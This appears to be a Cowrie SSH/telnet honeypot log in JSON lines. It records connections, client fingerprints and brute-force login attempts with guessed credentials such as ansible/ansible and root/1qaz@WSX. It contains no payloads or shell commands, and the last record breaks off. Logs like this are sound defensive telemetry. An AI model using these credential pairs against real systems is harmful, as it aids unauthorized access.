{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":42076,"dst_ip":"159.203.135.109","dst_port":22,"session":"142df53fbfb0","protocol":"ssh","message":"New connection: 103.234.53.173:42076 (159.203.135.109:22) [session: 142df53fbfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:02.789770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:02.794479Z","src_ip":"103.234.53.173","session":"142df53fbfb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:03.008083Z","src_ip":"103.234.53.173","session":"142df53fbfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mika","password":"12345678","message":"login attempt [mika/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:03.892504Z","src_ip":"103.234.53.173","session":"142df53fbfb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:05.108918Z","src_ip":"103.234.53.173","session":"142df53fbfb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"219.244.43.2","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"393e36af6e2b","protocol":"telnet","message":"New connection: 219.244.43.2:39426 (10.17.0.5:23) [session: 393e36af6e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:07.108323Z"}
{"eventid":"cowrie.session.closed","duration":13.189049243927002,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:20.297210Z","src_ip":"219.244.43.2","session":"393e36af6e2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":51476,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db4a8da310c","protocol":"ssh","message":"New connection: 118.26.39.178:51476 (159.203.135.109:22) [session: 7db4a8da310c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:33.876333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:33.880235Z","src_ip":"118.26.39.178","session":"7db4a8da310c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:34.098397Z","src_ip":"118.26.39.178","session":"7db4a8da310c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"Cacti123","message":"login attempt [cacti/Cacti123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:35.008379Z","src_ip":"118.26.39.178","session":"7db4a8da310c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:36.229530Z","src_ip":"118.26.39.178","session":"7db4a8da310c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":48012,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1d802f25294","protocol":"ssh","message":"New connection: 171.25.158.70:48012 (159.203.135.109:22) [session: e1d802f25294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:36.305613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:36.310146Z","src_ip":"171.25.158.70","session":"e1d802f25294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:36.422506Z","src_ip":"171.25.158.70","session":"e1d802f25294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"Webadmin123!","message":"login attempt [webadmin/Webadmin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:36.920103Z","src_ip":"171.25.158.70","session":"e1d802f25294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:09:38.034099Z","src_ip":"171.25.158.70","session":"e1d802f25294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":48664,"dst_ip":"159.203.135.109","dst_port":22,"session":"10eac12e6ce9","protocol":"ssh","message":"New connection: 185.196.10.227:48664 (159.203.135.109:22) [session: 10eac12e6ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:04.680526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:04.685403Z","src_ip":"185.196.10.227","session":"10eac12e6ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:04.796029Z","src_ip":"185.196.10.227","session":"10eac12e6ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"123","message":"login attempt [sipv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:05.266631Z","src_ip":"185.196.10.227","session":"10eac12e6ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:06.380572Z","src_ip":"185.196.10.227","session":"10eac12e6ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36906,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b113432f55c","protocol":"ssh","message":"New connection: 2.57.122.208:36906 (159.203.135.109:22) [session: 0b113432f55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:09.212112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:09.310134Z","src_ip":"2.57.122.208","session":"0b113432f55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:09.465778Z","src_ip":"2.57.122.208","session":"0b113432f55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:10.322842Z","src_ip":"2.57.122.208","session":"0b113432f55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:10:11.555740Z","src_ip":"2.57.122.208","session":"0b113432f55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49454,"dst_ip":"159.203.135.109","dst_port":22,"session":"766c0c13a749","protocol":"ssh","message":"New connection: 92.118.39.92:49454 (159.203.135.109:22) [session: 766c0c13a749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:00.120407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:00.186051Z","src_ip":"92.118.39.92","session":"766c0c13a749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:00.226118Z","src_ip":"92.118.39.92","session":"766c0c13a749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:00.632879Z","src_ip":"92.118.39.92","session":"766c0c13a749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:01.738258Z","src_ip":"92.118.39.92","session":"766c0c13a749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51746,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b86315beb1","protocol":"ssh","message":"New connection: 195.178.110.218:51746 (10.17.0.5:22) [session: 71b86315beb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:03.130700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:03.135513Z","src_ip":"195.178.110.218","session":"71b86315beb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:03.215196Z","src_ip":"195.178.110.218","session":"71b86315beb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:03.451462Z","src_ip":"195.178.110.218","session":"71b86315beb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.212.226.17","src_port":64699,"dst_ip":"10.17.0.5","dst_port":22,"session":"e14a6371d342","protocol":"ssh","message":"New connection: 125.212.226.17:64699 (10.17.0.5:22) [session: e14a6371d342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:04.455286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:04.459872Z","src_ip":"125.212.226.17","session":"e14a6371d342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:04.538360Z","src_ip":"195.178.110.218","session":"71b86315beb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:04.715981Z","src_ip":"125.212.226.17","session":"e14a6371d342","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:05.486888Z","src_ip":"125.212.226.17","session":"e14a6371d342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:05.746868Z","src_ip":"125.212.226.17","session":"e14a6371d342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":53510,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb7ab13605c","protocol":"ssh","message":"New connection: 103.234.53.173:53510 (159.203.135.109:22) [session: 4cb7ab13605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:18.128392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:18.133522Z","src_ip":"103.234.53.173","session":"4cb7ab13605c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["